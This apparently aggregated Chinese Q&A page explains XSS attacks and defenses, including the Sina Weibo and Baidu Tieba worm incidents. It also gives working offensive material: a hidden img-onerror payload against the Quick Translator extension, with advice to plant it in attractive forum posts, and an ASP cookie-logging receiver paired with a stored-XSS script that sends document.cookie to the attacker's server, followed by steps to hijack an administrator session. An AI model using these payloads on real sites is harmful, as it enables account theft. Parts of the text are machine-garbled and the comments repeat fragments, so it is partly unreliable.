目录介绍:
- 1、谁能说一下脚本病毒的原理、攻击流程与防护、、最好详细点呀、网站也好、谢啦、、
- 2、如何正确防御xss攻击
- 3、火狐xsseb插件怎么使用?
- 4、怎么用xss代码让cookie弹窗
- 5、修改页面元素可以弹框算不算xss漏洞
谁能说一下脚本病毒的原理、攻击流程与防护、、最好详细点呀、网站也好、谢啦、、
通过对xss跨站脚本攻击漏洞的历史、攻击特点、攻击原理描述及案例代码实战举例详细解析XSS漏洞攻击技术,并提出防御XSS跨站漏洞的思路方法。及WEB开发者开发网站过程中防范编码中产生xss跨站脚本攻击漏洞需要注意的事项。
XSS漏洞概述:
XSS(Cross Site Script)跨站点脚本攻击是一种注射的问题,在这种恶意脚本注入否则良性和信任的网站类型。跨站点脚本(XSS)攻击,攻击者使用时,会出现一个网络应用程序发送恶意代码,一般是在浏览器端脚本的形式,向不同的最终用户。这些缺陷,使攻击成功是相当普遍,发生在任何地方从一个Web应用程序使用在输出它没有验证或编码了用户输入。攻击者可以使用XSS的恶意脚本发送到一个毫无戒心的用户。最终用户的浏览有没有办法知道该脚本不应该信任,将执行该脚本。因为它认为该脚本来从一个受信任的源,恶意脚本可以访问任何Cookie,会话令牌,或其他敏感信息的浏览器保留,并与该网站使用。 甚至可以重写这些脚本的HTML网页的内容。
XSS漏洞历史:
XSS(Cross-site scripting)漏洞最早可以追溯到1996年,那时电子商务才刚刚起步,估计那时候国内很少人会想象到今天出现的几个国内电子商务巨头淘宝、当当、亚马逊(卓越)。XSS的出现“得益”于JavaScript的出现,JavaScript的出现给网页的设计带来了无限惊喜,包括今天风行的AJAX(Asynschronous JavaScript and XML)。同时,这些元素又无限的扩充了今天的网络安全领域。
XSS 漏洞攻击特点:
(1)XSS跨站漏洞种类多样人:
XSS攻击语句可插入到、URL地址参数后面、输入框内、img标签及DIV标签等HTML函数的属人里、Flash的getURL()动作等地方都会触发XSS漏洞。
(2)XSS跨站漏洞代码多样人:
为了躲避转义HTML特殊字符函数及过滤函数的过滤,XSS跨站的代码使用“/”来代替安字符“””、使用Tab键代替空格、部分语句转找成16进制、添加特殊字符、改变大小写及使用空格等来绕过过滤函数。
如果在您的新闻系统发现安全漏洞,如果该漏洞是一个SQL 注入漏洞,那么该漏洞就会得到您的网站管理员密码、可以在主机系统上执行shell命令、对数据库添加、删除数据。如果在您的新闻或邮件系统中发现安全漏洞,如果该漏洞是一个XSS跨站漏洞,那么可以构造一些特殊代码,只要你访问的页面包含了构造的特殊代码,您的主机可能就会执行木马程序、执行^***Cookies代码、突然转到一个银行及其它金融类的网站、泄露您的网银及其它账号与密码等。
XSS攻击原理:
XSS 属于被动式的攻击。攻击者先构造一个跨站页面,利用script、IMG、IFRAME等各种方式使得用户浏览这个页面时,触发对被攻击站点的http 请求。此时,如果被攻击者如果已经在被攻击站点登录,就会持有该站点cookie。这样该站点会认为被攻击者发起了一个http 请求。而实际上这个请求是在被攻击者不知情的情况下发起的,由此攻击者在一定程度上达到了冒充被攻击者的目的。精心的构造这个攻击请求,可以达到冒充发文,夺取权限等等多个攻击目的。在常见的攻击实例中,这个请求是通过script 来发起的,因此被称为Cross Site Script。攻击Yahoo Mail 的Yamanner 蠕虫是一个著名的XSS 攻击实例。Yahoo Mail 系统有一个漏洞,当用户在web 上察看信件时,有可能执行到信件内的javascript 代码。病毒可以利用这个漏洞使被攻击用户运行病毒的script。同时Yahoo Mail 系统使用了Ajax技术,这样病毒的script 可以很容易的向Yahoo Mail 系统发起ajax 请求,从而得到用户的地址簿,并发送病毒给他人。
XSS 攻击主要分为两类:一类是来自内部的攻击,主要指的是利用WEB 程序自身的漏洞,提交特殊的字符串,从而使得跨站页面直接存在于被攻击站点上,这个字符串被称为跨站语句。这一类攻击所利用的漏洞非常类似于SQL Injection 漏洞,都是WEB程序没有对用户输入作充分的检查和过滤。上文的Yamanner 就是一例。
另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的。
如何正确防御xss攻击
传统防御技术
2.1.1基于特征的防御
传统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
2.1.2 基于代码修改的防御
和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免:
1、对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
2、实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
3、确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤其是样式表和javascript),使用HTTP only的cookie。
当然,如上方法将会降低Web业务系统的可用性,用户仅能输入少量的制定字符,人与系统间的交互被降到极致,仅适用于信息发布型站点。
并且考虑到很少有Web编码人员受过正规的安全培训,很难做到完全避免页面中的XSS漏洞。
扩展资料:
XSS攻击的危害包括
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
受攻击事件
新浪微博XSS受攻击事件
2011年6月28日晚,新浪微博出现了一次比较大的XSS攻击事件。
大量用户自动发送诸如:
“郭美美事件的一些未注意到的细节”,“建党大业中穿帮地方”,“让女人心动的100句诗歌”,“这是传说中的神仙眷侣啊”等等微博和私信,并自动关注一位名为hellosamy的用户。
事件的经过线索如下:
20:14,开始有大量带V的认证用户中招转发蠕虫
20:30,某网站中的病毒页面无法访问
20:32,新浪微博中hellosamy用户无法访问
21:02,新浪漏洞修补完毕
百度贴吧xss攻击事件
2014年3月9晚,六安吧等几十个贴吧出现点击推广贴会自动转发等。并且吧友所关注的每个关注的贴吧都会转一遍,病毒循环发帖。并且导致吧务人员,和吧友被封禁。
参考资料:
XSS攻击-百度百科
火狐xsseb插件怎么使用?
Quick Translator对谷歌翻译返回未经过滤直接输出,导致XSS
不知道什么原因,直接翻译script标签是不行的,所以需要借助img等其他标签。Quick Translator默认设置为检测语言,而谷歌翻将英文翻译成中文时会将引号转换为全角,并在其他符号后面加空格,所以需要加上一些中文字符让谷歌翻译认为提交的是中文。
说了这么多,看个例子吧,以下代码用Quick Translator翻译从中文翻译到英文会弹框(右键翻译和在对话框输入是一样的)。
img src='#' alt='中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文' onerror='javascript:alert(document.domain)'/
由于没有人会憨厚到选中代码翻译,所以需要将这段代码隐藏起来,同时不影响选中。仿照论坛复制干扰码,将其进行html转义后放在一个指定文字大小为0px的span中;同时,由于实际触发点位于右下角翻译结果处,为了隐藏图片需要给图片加上display:none样式;最后,将这段代码插在一段很少有人认识的语言中,例如الاشتراكية جيدة ,使得别人可能会去翻译这句话。
最后的poc如下:
الاشتراكية جيدة span style="font-size:0px;"img src='#' alt='中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文' style='display:none' onerror='javascript:alert(document.domain)'/span الاشتراكية جيدة br
可以在某些公共博客、论坛之类发个吸引人的帖子,然后引用一段官方的“原话”作为证据(选个较为少见的语种,比如德语意大利语之类),并在其中插入代码。
例子:躺中枪的某程序猿博客
要是以“nodejs进阶技巧”等热点技术发个帖,并在资料引用处插入poc,会有多少人中招?
修复方案:
prexmpxxx/xmp/pre
怎么用xss代码让cookie弹窗
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath('code.txt') //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
msg = Request('msg') //获取提交过来的msg变量,也就是cookie值
set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:。
XSS构造语句
scriptwindow.open(''+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中,不过这里最好是存储型xss,比如你找到了某个博客或者论坛什么的存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到'+document.cookie的页面,然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下:
1、在存在漏洞的论坛中发日志:
X
2、然后以管理远登陆,进入后页面会跳转,此时cookie就发送到你的服务器下的code.txt文件中了:
3、这是没有账户前的登陆界面:
4、打开firefox的Tamper Data插件,点击Start Tamper开始抓取信息,刷新登陆界面,然后会跳出对话框,点击Tamper按钮,在途中的cookie一栏中替换掉你抓取到的cookie,单击确定发送请求数据:
5、替换cookie后不用输用户名密码就顺利进入管理员账户了:
修改页面元素可以弹框算不算xss漏洞
手动修改出发出的任何行为都不算漏洞,漏洞必须是可以自动出发的,改元素相当于改代码,普通用户无法改代码,也就不存在所谓的漏洞,除非你让服务器返回的内容就是你修改后的代码
网友评论
最新评论
就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到'+document.cookie的页面,然后当前账户的coolie信息就当成参数发到你的网站下的文件
谓的漏洞,除非你让服务器返回的内容就是你修改后的代码
检查,以防功能被第三方网站所执行。3、确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤其是样式表和javascript
各类管理员帐号2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力3、盗窃企业重要的具有商业价值的资料4、非法转账5、强制发送电子邮件6、网站挂马7、控制受害者机器向其它网站发起攻击受攻击事件新浪微博XSS受攻击事件2011年6月28日晚,新浪微博出现了一次比较大的XSS
件6、网站挂马7、控制受害者机器向其它网站发起攻击受攻击事件新浪微博XSS受攻击事件2011年6月28日晚,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建党大业中穿帮地方”,“让女人心动的10